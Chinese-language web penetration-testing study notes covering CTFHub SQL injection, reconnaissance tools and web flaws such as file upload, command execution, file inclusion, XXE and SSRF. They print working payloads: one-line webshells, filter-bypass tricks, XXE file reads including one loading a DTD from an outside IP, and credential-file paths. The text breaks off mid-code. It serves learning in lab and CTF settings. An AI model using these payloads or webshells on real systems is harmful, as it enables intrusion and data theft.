1.ctfhub技能树
1.1 Web-SQL注入
Web-SQL注入-整数型 && 字符型 && MySQL结构
-
参考:5.9.6MySql注入
Web-SQL注入-报错注入
step1: 查库名
- ?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+
step2: 查看表名
- ?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
step3: 查看列名
- ?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+
step4: 查看数据
-
?id=1 and extractvalue(1,(select flag from sqli.flag))--+
Web-SQL注入-Cookie注入
- 就注入点变了,其他操作:参考整数型注入
Web-SQL注入-UA注入
user-agent表示搭建这个网页电脑的相关信息
- 就注入点变了,其他操作:参考整数型注入
Web-SQL注入-Refer注入
Referer这个字段表示当前页面,从什么地方跳转过来的
- 新增一个referer:字段,注入点变了,其他操作:参考整数型注入
Web-SQL注入-过滤空格
使用/**/来代替空格
- 参考:5.9.6MySql注入
2.安装Kali
Kali是基于Debian的Liunx发行版操作系统,拥有超过300个渗透测试工具,拥有开源Git树等,甚至还集成了600多种黑客工具,且可以永久免费使用Kali操作系统
Get Kali | Kali Linux
- 上面那个是虚拟机版本,还可以通过arm架构操作系统,docker容器,手机移动端,微软wsl子系统等
- 补充:虚拟机VMware安装--安装虚拟机(VMware)保姆级教程(附安装包)
3. web安全基础
3.1 常见渗透测试专业术语
POC:全称' Proof of Concept ',中文'概念验证',常指一段漏洞证明的代码
EXP:全称' Exploit ',中文'利用',指利用系统漏洞进行攻击的动作
Payload:中文'有效载荷',指成功exploit之后,真正在目标系统执行的代码或指令
POC是用来证明漏洞存在的,EXP是用来利用漏洞的
3.2 HTTP协议基础
3.2.1 请求数据包
- 组成:a.请求行 b.请求头 c.请求体
3.2.2 请求方法
GET: 请求一个指定资源的表示形式,使用GET的请求应该只被用于获取数据,
POST: 用于将实体提交到指定的资源,通常导致在服务器上的状态变化或副作用。
HEAD:请求一个与GET请求的响应相同的响应,但没有响应体,在目录扫描的时候用的多
3.2.3 响应数据包
- ①报文协议及版本;
- ②状态码及状态描述;
- ③响应报文头,也是由多个属性组成;
- ④响应报文体,即我们真正要的“干货”
3.2.4 状态码
- 1xx 消息,一般是告诉客户端,请求已经收到了,正在处理,别急...
- 2xx 处理成功,一般表示:请求收悉、我明白你要的、请求已受理、已经处理完成等信息.
- 3xx 重定向到其它地方。它让客户端再发起一个请求以完成整个处理。
- 4xx 处理发生错误,责任在客户端,如客户端的请求一个不存在的资源,客户端未被授权,禁止访问等。
- 5xx 处理发生错误,责任在服务端,如服务端抛出异常,路由出错,HTTP版本不支持等。
3.3 name_that_hash工具(密码识别)
和其他工具一样,使用时,还是需要下载依赖:pip install name-that-hash
- 常见参数:python name_that_hash -t 文本
4. 信息收集
信息收集也叫做资产收集。信息收集是渗透测试的前期主要工作,是非常重要的环节,收集足够多的信息才能方便接下来的测试,信息收集主要是收集网站的域名信息、子域名信息、目标网站信息、目标网站真实IP、敏感/目录文件、开放端口和中间件信息等等。通过各种渠道和手段尽可能收集到多的关于这个站点的信息,有助于我们更多的去找到渗透点,突破口
4.1 常见的信息收集
-
子域名查询:
baidu.com 主域名 一级域名
123.baidu.com 子域名 二级域名 -
whois信息收集:
注册时间 人 邮箱 -
IP段的收集
-
开发端口探测
-
目录:敏感文件,目录探测
-
指纹识别
-
waf探测
信息收集的方式
主动信息收集:通过直接访问、扫描网站、流量将流经第三方网站
被动信息收集:利用第三方的服务对目标网站进行访问,如Google搜索、FOFA 等
4.2 域名信息收集
4.2.1 whois查询
- 站长之家域名WHOIS信息查询地址:域名Whois查询 - 站长工具
-
爱站网域名WHOIS信息查询地址:站长工具_whois查询工具_爱站网
-
腾讯云域名WHOIS信息查询地址:域名信息查询 - 腾讯云
- 中国万网域名WHOIS信息查询地址:whois查询_域名查询_域名交易_阿里云企航(原万网)-阿里云
4.2.2 备案查询
-
域名助手备案信息查询:http://cha.fute.com/index
-
天眼查:https://www.tianyancha.com/
-
ICP备案查询网:https://beian.miit.gov.cn/#/Integrated/index
-
爱站备案查询:https://icp.aizhan.com/
4.2.3 子域名查询
4.2.3.1 通过利用证书透明度收集子域名
-
https://crt.sh/
-
https://search.censys.io/
-
https://sslmate.com/certspotter/api/
-
https://developers.facebook.com/tools/ct
4.2.3.2 通过在线子域名查询网站收集子域名
-
https://securitytrails.com/
-
https://site.ip138.com/
-
https://tool.chinaz.com/subdomain/
-
http://www.dnsscan.cn/
4.2.3.3 通过搜索引擎收集子域名
- 谷歌语法:谷歌语法(详解+举例)-****博客
4.2.3.4 通过空间测绘引擎收集子域名
- fofa:https://fofa.info/
- 鹰图:鹰图平台
- 360:登录 - 360网络空间资产测绘
4.2.3.5 通过工具自动化收集子域名
GitHub - shmilylty/OneForAll: OneForAll是一款功能强大的子域收集工具
- 更新pip:python -m pip install --upgrade pip
- 安装依赖:pip install -r ./requirements.txt
常用命令一:python oneforall.py --target example.com run
常用命令二: python oneforall.py --targets ./example.txt run
4.3 IP信息收集
4.3.1 理解CDN
-
为了保证网站的流程性产生了一个CDN的术语,叫做边缘节点,其实就是缓存了源站内容的代理服务器,相当于中间代理服务器
4.3.2 CDN基本原理
-
用户提交域名→浏览器对域名进行解析→DNS 解析得到目的主机的IP地址→根据IP地址访问发出请求→得到请求数据并回复
-
有cdn的情况下我们返回的不再是ip地址,而是一个CNAME(CDN全局负载均衡)担任中间人的角色
4.3.3 判断CDN
-
地址: 多个地点ping[edu.bitejiuyeke.com]服务器-网站测速-站长工具
4.3.4 绕过CDN找寻真实IP(不一定成功)
4.3.4.1 通过域名解析记录
- 网址:https://viewdns.info/iphistory/
4.3.4.2 通过空间安全搜索引擎
- 通过网络证书->序列号的16进制转成10进制->再通过fofa进行搜索
- fofa地址: FOFA Search Engine
- 进制转换地址: 进制转换 - 在线工具
4.3.4 nmap网络连接端扫描
Nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全
-
nmap [目标]可以是ip地址,也可以是主机名,默认扫描常用端口
-
nmap 目标1 目标2 ...
-
nmap -iL list.txt,list.txt中一行只能放一个目标,换行,再在下一行放目标
-
nmap 192.168.0.0/24,通过IP范围扫描,0-255是c段
-
nmap 192.168.31.180 -p 80,82,88,也可以通过指定端口或多个端口
-
nmap 192.168.31.180 -p 80 -sT, TCP全连接扫描
-
nmap 192.168.31.180 -p 80 -sS, TCP半连接扫描
- nmap -sP 192.168.31.0/24,主机探测
- nmap 192.168.31.180 -p 80 -sV,加了-sV参数就是服务识别
- nmap 192.168.31.180 -p 80 -O,加了-O参数就是系统识别
-
nmap -A 192.168.0.1,加了-A就是全面扫描
4.4 指纹信息收集
指纹识别在攻防演练中是必不可少的一个环节,利用指纹识别出来目标资产使用了哪些框架、OA、CMS等,就可以尝试利用专项漏洞工具或者网上搜索相关漏洞从而实现快速打点目的。
4.4.1 wappalyzer浏览器插件
4.4.2 EHole工具
EHole是一款对资产中重点系统指纹识别的工具,在红队作战中,信息收集是必不可少的环节,如何才能从大量的资产中提取有用的系统(如OA、VPN、Weblogic等),EHole旨在帮助红队人员在信息收集期间能够快速从C段、大量杂乱的资产中精准定位到易被攻击的系统,从而实施进一步攻击
- 查看帮助-h
- 命令一:.\EHole_windows_amd64.exe finger -f ip
- 命令二:.\EHole_windows_amd64.exe finger -s (fofa的语法)
4.5 敏感文件信息收集
4.5.1 dirsearch工具
- pip install -r requirements.txt //安装依赖
-
python dirsearch.py -h //查看帮助
-
常用命令一:python dirsearch.py -u http://xxxx //日常使用
-
常用命令二:python dirsearch.py -u http://xxxx -r //递归扫描,不过容易被检测
-
常用命令三:python dirsearch.py -u http://xxxx -r -t 30 //线程控制请求速率
4.5.2 dirmap工具
- pip install -r requirements.txt //安装依赖
- python dirmap.py -h //查看帮助
-
常用命令:python dirmap.py -i http://127.0.0.1 -lcf
4.6 信息收集自动化工具
4.6.1 docker 常用命令
-
docker ps//查看正在运行中的容器
-
docker images //查看存在的镜像
-
docker stop id //关闭某个正在运行中的容器
-
docker rmi -f id //删除指定的容器-f强制删除
-
docker-compose up -d //构建容器,并运行
4.6.2 ARL灯塔系统部署
配置fofa的API:
cd /opt/ARL-docker/
vim config-docker.yaml
4.6.2.1 关闭运行中的容器
-
cd /opt/ARL-docker/
-
docker-compose stop //关闭运行容器
4.6.2.2 启动容器
- cd /opt/ARL-docker/
-
docker-compose up -d //运行ARL系统
4.6.3 shuize信息收集自动化工具
(依靠容器,借助python,无UI)
在ShuiZe_0x727下,配置文件存放路径:iniFile/config.ini
4.6.3.1 运行容器
- docker run -itd yankovg/python3.8.2-ubuntu18.04 bash
4.6.3.2 进入容器
- docker exec -it <容器ID> /bin/bash
4.6.3.3 更新包索引
-
apt-get update
4.6.3.4 安装git
- apt install git --fix-missing
4.6.3.5 安装vim
- apt install vim
4.6.3.6 移除并构建新的python链接
- rm /usr/bin/python3
- ln -s /usr/local/bin/python3.8 /usr/bin/python3
4.6.3.7 升级pip
- python3 -m pip install --upgrade pip
4.6.3.8 克隆ShuiZe项目的Git仓库到容器内
-
git clone https://github.com/0x727/ShuiZe_0x727.git
4.6.3.9 给予docker_build.sh脚本执行权限
-
cd ShuiZe_0x727
-
chmod 777 docker_build.sh
4.6.3.10 执行docker_build.sh脚本
-
./docker_build.sh
4.6.3.11 查看Shuize的帮助信息
- python3 ShuiZe.py -h
使用语法
语法 |
功能 |
python3 ShuiZe.py -d domain.com |
收集单一的根域名资产 |
python3 ShuiZe.py --domainFile domain.txt |
批量跑根域名列表 |
python3 ShuiZe.py -c 192.168.1.0,192.168.2.0,192.168.3.0 |
收集C段资产 |
python3 ShuiZe.py -f url.txt |
对url里的网站漏洞检测 |
python3 ShuiZe.py --fofaTitle XXX大学 |
从fofa里收集标题为XXX大学的资产,然后漏洞检测 |
python3 ShuiZe.py -d domain.com --justInfoGather 1 |
仅信息收集,不检测漏洞 |
python3 ShuiZe.py -d domain.com --ksubdomain 0 |
不调用ksubdomain爆破子域名 |
4.6.4 Nemo自动化信息收集平台
4.6.2.1 关闭运行中的容器
-
cd nemo
-
docker-compose stop //关闭运行容器
4.6.2.2 启动容器
- cd nemo
-
docker-compose up -d //运行ARL系统
5. WEB基础漏洞
5.1 Webshell基础
Webshell是一种恶意脚本,通常被攻击者用来在受害者的网络服务器上获取不正当的访问权限。Webshell可以用多种编程语言编写,例如PHP、ASP、JSP。攻击者通过利用服务器上的漏洞(如文件上传漏洞、注入漏洞等)将webshell上传到目标服务器。一旦webshell被成功部署,攻击者就可以通过它执行各种恶意操作,如文件管理、命令执行、数据库操作等
5.1.1 理解<?php @eval($_GET['cmd']); ?>
- 这是PHP的代码块,表示其中的内容将被PHP解释器执行
- @:这是PHP中的错误抑制符
- eval():这是PHP中的一个危险函数
- $_GET['cmd']:这是PHP的超级全局变量,用于获取通过HTTP GET请求传递的参数
5.1.2 当请求方法是GET时
-
这个yanxiao.php里面有一段php的木马程序-<?php @eval($_GET['cmd']); ?>
- ?: 表示传参
5.1.3 当请求方法是POST时
- 在Burpsuite中右键,可以改变请求方法
5.1.4 中国蚁剑-Webshell管理工具
快速生成shell小知识
5.2 文件上传漏洞
5.2.1 数据库 && 中间键 && 组件
- 数据库:Oracle 大型数据库、Access、SQL Server(ms SQL)、MySQL 常用中小型数据库
- 中间件:IIS、Apache、Nginx、Tomcat
- 脚本:PHP、ASP、ASPX(ASP.NET)、JSP
5.2.2 脚本和数据库的搭配
-
PHP + MySQL
-
ASP + Access 、ASP + SQL Server(ms SQL)
-
ASPX(ASP.NET)+ SQL Server(ms SQL)
-
JSP + MySQL 、JSP + Oracle
5.2.3 综合搭配
-
Linux + Apache + PHP + MySQL
-
Linux + Nginx + PHP + MySQL
-
Windows + IIS + ASPX(ASP.NET)+ SQL Server(ms SQL)
-
Linux + Tomcatt + JSP + MySQL
-
Linux + Tomcat + JSP + Oracle
5.2.4 常见一句话木马
php
<?php @eval($_POST[value]); ?>
<?php assert($_POST[value]);?>
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
asp
<%eval request ("value")%>
<% execute(request("value")) %>
aspx
<%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
jsp
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
5.2.5 案例一: 无验证漏洞
- 直接上传带有恶意脚本的PHP文件就行
5.2.6 案例二:文件js校验
- 将恶意脚本文件改成 能通过前端的文件后缀
- 然后再在burp suite中更改它的文件后缀
5.2.7 案例三:mime文件绕过
- 直接通过修改 image/gif
- 通过抓包,改成能通过的文件类型
5.2.8 案例四:文件双写绕过
- 将123.php(恶意文件)改成123.pphphp文件
5.3 命令执行漏洞
5.3.0 原理
- 服务器端没有对客户端用户输入的命令进行过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令
5.3.1 PHP常见危险函数
紫色表示结果,黄色表示返回值,红色表示特别提醒
system
<?php
highlight_file(__FILE__);
system('pwd');
system('whoami');
?>
- 该函数会把执行结果输出 并把输出结果的最后一行作为字符串返回
- 如果执行失败则返回false
exec
<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>
- 不输出结果 返回执行结果的最后一行 可以使用output进行输出
shell_exec
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>
- 不输出结果,返回执行结果 并使用反引号(``)时调用的就是此函数
passthru
<?php
highlight_file(__FILE__);
passthru('ls');
?>
- 此函数只调用命令 并把运行结果原样地直接输出 没有返回值。
5.3.2 Windows命令连接符
- “&”: 前后为真都执行 前为假,后执行
- “&&”: 前后为真都执行 前为假,直接报错
- “|”直接执行后面语句
- “||”前面出错,执行后面的;前面不出错,不会执行后面的
5.3.3 linux命令连接符
- ;命令顺序执行
- & 和号 使命令在后台运行
- && 与 只有第一个执行成功,才会执行第二个
- | 管道,将第一个命令的输出作为第二个命令的输入,只显示后面的执行结果
- || 或,等价于编程中if else语句
5.3.4 常见分隔符
- 换行符 %0a
- 回车符 %0d
- 连续指令 ;
- 后台进程 &
- 管道符 |
- 逻辑 ||、&&
5.3.5 常见绕过过滤的方式
空格绕过
- 绕过空格过滤- ${IFS}绕过
- 绕过空格过滤-%09绕过
- 绕过空格过滤-{}绕过,{cat,commandexec.php}。
绕过关键字过滤
- 绕过关键字过滤-变量拼接,比如cat被过滤,则可以使用:a = c;b = at ;$a& b cat来表示cat
- 绕过关键字过滤-空变量绕过,比如cat被过滤,则可以使用:ca${x}t 来表示cat
- 绕过关键字过滤-<绕过,比如cat被过滤,则可以使用: cat<ctfs-wiki
- 绕过关键字过滤-系统变量绕过,比如cat被过滤,则可以使用:${SHELLOPTS}cat
- 绕过关键字过滤-\绕过,比如cat被过滤,则可以使用:c\a\t
- 绕过关键字过滤-通配符绕过,*表示任意个数字符,?表示一个字符
- base64编码绕过,比如cat被过滤,将它用base64编码成xxxx,则xxxx就表示cat
5.4 代码执行漏洞
5.4.0 原理
服务器端没有对PHP中的危险函数进行参数限制,服务器端成功执行PHP中危险函数的任意参数都鞥呢执行成功,导致信息的泄漏
应用程序中提供了一些可以将字符串作为代码执行的函数,比如PHP中的eval()函数,可以将函数中的参数当做PHP代码来执行如果这些函数的参数控制不严格,可能会被利用造成任意代码执行
5.4.1 代码执行函数
eval()函数
- eval (string $code)字符串作为PHP代码执行
- <?php @eval($_POST[value]); ?>
assert()函数
- bool assert ( mixed $assertion [, Throwable $exception ] ),但assertion在结果为 FALSE 时采取适当的行动,如果 assertion 是字符串,它将会被 assert() 当做PHP代码来执行。
- <?php @eval($_POST[value]); ?>
call_user_func()函数
- call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ),把第一个参数当成回调函数,其余参数是回调函数的参数
- <?php call_user_func($_POST['fun'],$_POST['arg'];)?>,使用时fun=system&arg=id
call_user_func_array()函数
- call_user_func_array (callable $callback , array $param_arr),把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入 ,
- <?php call_user_func_array($_POST['fun'],$_POST['arg'];)?>,使用时fun=system&arg=id
还有:create_function()函数,array_map()函数 ,preg_replace()函数等等
5.4.2 PHP可变函数
如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它。这就意味着PHP中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
- 当PHP支持可变函数中有参数时,那就可以通过参数传递任意代码,造成任意代码执行
- 输入 http://192.168.91.142:8080/?func=system&string=id 会调用system函数,执行系统命令id返回当前用户的信息
5.5 文件包含漏洞
5.5.0 原理
服务器端通过特性函数包含文件,但对文件来源没有做限制,过滤不严谨,导入上传了恶意文件,导致信息泄漏
5.5.1 产生文件包含漏洞的原因
PHP中提供了四个包含文件函数
- include(),include_once(),require($_file),require_once()。当调用这4个函数包含一个新文件时,该文件将作为php代码执行
5.5.2 一些常见的敏感目录信息路径
Windows系统
-
C:\boot.ini //查看系统版本
-
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
-
C:\windows\repair\sam //存储Windows系统初次安装的密码
-
C:\ProgramFiles\mysql\my.ini //Mysql配置
-
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
-
C:\windows\php.ini //php配置信息
Linux/Unix系统:
-
/etc/password //账户信息
-
/etc/shadow //账户密码信息
-
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
-
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
-
/usr/local/app/php5/lib/php.ini //PHP相关配置
-
/etc/httpd/conf/httpd.conf //Apache配置文件
-
/etc/my.conf //mysql配置文件
5.5.3 文件包含漏洞的利用条件
文件包含漏洞满足的条件:
(1)include()等函数通过动态变量的方式引入需要包含的文件
(2)用户能够控制该动态变量
PHP文件包含的分类
1、本地包含 LIF
2、远程包含 RLF 需要allow_url_include=on //PHP.INI
5.5.4 漏洞利用:本地文件包含
<?php
// 从 GET 请求中获取 filename 参数的值
$filename = $_GET['filename'];
// 使用 include 函数来包含(即执行)指定名称的文件
// 如果文件存在,它的内容将被执行,就像它直接在此处编写一样
// 如果文件不存在,或者出现错误,include 会发出一个警告,但脚本会继续执行
include($filename);
?>
- http://example.com/include.php?filename=123.php;,会用php解析器来执行123.php文件
- 也可以这样调用http://example.com/include.php?filename=phpinfo();
如果有限制的话,下面有几种绕过方式
- 1.00截断法 但是需要php小于5.3.4
http://127.0.0.1/dir/include.php?filename=1.txt%00 - 2.长度截断条件:windows 点号大于256个 linux大于4096
http://127.0.0.1/dir/include.php?filename=1.txt............................................
/./././././././././././././././././././././././././././././././././././././././././././././././././././
- 或者直接包含本地文件file=shell.txt,然后再使用蚁剑
5.5.5 漏洞利用:远程文件包含
- 在云服务器上开启web服务:python -m http.server
5.5.6 php伪协议
5.5.6.1 php.ini参数设置
-
allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
-
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;
5.5.6.2 file://
用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
-
绝对路径:http:
//127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
-
相对路径:http:
//127.0.0.1/include.php?file=./phpinfo.txt
5.5.6.3 http://、https://
URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
这个类似漏洞利用中的远程文件包含
5.5.6.4 php://
读取文件源码用法
- 127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
- 记得用base64-encode解码器解密
写入一句话木马用法
-
<?php
fputs
(
fopen
(
'shell.php'
,
'w'
),
'<?php @eval($_GET[cmd]); ?>'
); ?>
有时候如果写入不成功,则使用下面的方法
- <?php system("ls ../../");?>
5.6 xxe漏洞
5.6.0 原理
- XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
5.6.1 xml基础概念
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,
5.6.2 XML与HTML的主要区别
- XML被设计为传输和存储数据,其焦点是数据的内容。
- HTML被设计用来显示数据,其焦点是数据的外观。
- HTML旨在显示信息,而XML旨在传输信息。
5.6.3 读取文件
使用file://协议
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/1.txt">
]>
<x>&xxe;</x>
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/phpStudy/PHPTutorial/WWW/shell.php">
]>
<x>&xxe;</x>
-
这个使用的是base64进行的解密
5.6.4 内网探针
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://172.16.34.208/" >
]>
<x>&rabbit;</x>
5.6.5 引入外部实体dtd文件
引入外部实体 dtd dtd格式文件 当成xml代码执行 条件:是否开启了外部实体引用
<!ENTITY send SYSTEM "file:///etc/passwd">
引入外部实体 dtd dtd格式文件 当成xml代码执行 条件:是否开启了外部实体引用
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://47.238.206.117:8000/1.dtd">
%file;
]>
<x>&send;</x>
5.6.6 综合案例-CTF-Vulnhub-XXE
1. 环境导入
- 双击这个xxe.ovf就行了,记得改下路径
2. 查ip
- 192.168.254.130:80下有2个路径/xxe /xxe/admin.php
3. 漏洞利用
- 通过对第一个网页抓包发现是由xml编写了
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
- 再通过在线的base64解码器解密,就可以发现账号密码了
- 但这个密码又是md5的密码,又需要解密
- 最后得到administhebest admin@123
4.查看flag文件源码
- 再利用xml漏洞,对flagmeout.php的源码进行解析,使用base64的解析
- base64解码,base32解码,base64解码
5.xml读取/etc/.flag.php
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>
- 最后得到一段php的加密
6. 在php运行环境中解码
在线的php运行环境:PHP在线运行工具|代码在线运行工具
- 将那段密码放入一个文件中,再php环境中运行
- SAFCSP{xxe_is_so_easy}
5.7 SSRF漏洞
5.7.0 原理
- 服务端提供了从其他服务器获取数据的功能但没有对目标地址做过滤与限制。
- 导致攻击者可以利用改漏洞获取内部系统的一些信息
一种由攻击者构造特殊形成的请求,并且由指定服务器端发起恶意请求的一个安全漏洞
SSRF漏洞的攻击目标是攻击者无法直接访问的内网系统
SSRF漏洞的形成大多是由于服务端提供了,从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制
5.7.1 漏洞常见出没的位置
社交分享功能:获取超链接的标题等内容进行显示
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
数据库内置功能:数据库的比如mongodb的copyDatabase函数
邮件系统:比如接收邮件服务器地址
编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
从远程服务器请求资源
远程连接的 url
5.7.2 ssrf漏洞用途
-
内外网的端口和服务扫描
-
主机本地敏感数据的读取
-
内外网主机应用程序漏洞的利用
-
内外网web站点漏洞的利用
5.7.3 常出现漏洞的参数名
- share wap url link src source target u 3g display sourceURL imageURL domain
5.7.4 ssrf 常见函数
file_get_contents()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
- file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法
fsockopen()
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
-
fsockopen()
是 PHP 中的一个内置函数,用于打开一个网络连接或者一个 Unix 套接字连接 -
这个函数尝试建立一个到指定主机(host)和端口(port)的 TCP/IP 连接,
-
如果连接成功它将返回一个文件指针,这个指针可以用来读写数据。如果连接失败,它将返回
FALSE
curl_exec()
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
-
curl_exec()
是 PHP cURL 库中的一个函数,用于执行一个 cURL 会话
SoapClient()
// ssrf.php
<?php
$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
-
SoapClient() 类为SOAP 1.1,SOAP 1.2服务器提供客户端。它可以在 WSDL 或非 WSDL 模式下使用
5.7.5 SSRF漏洞的验证
-
因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞
-
在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞
5.7.6 ssrf漏洞利用
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLO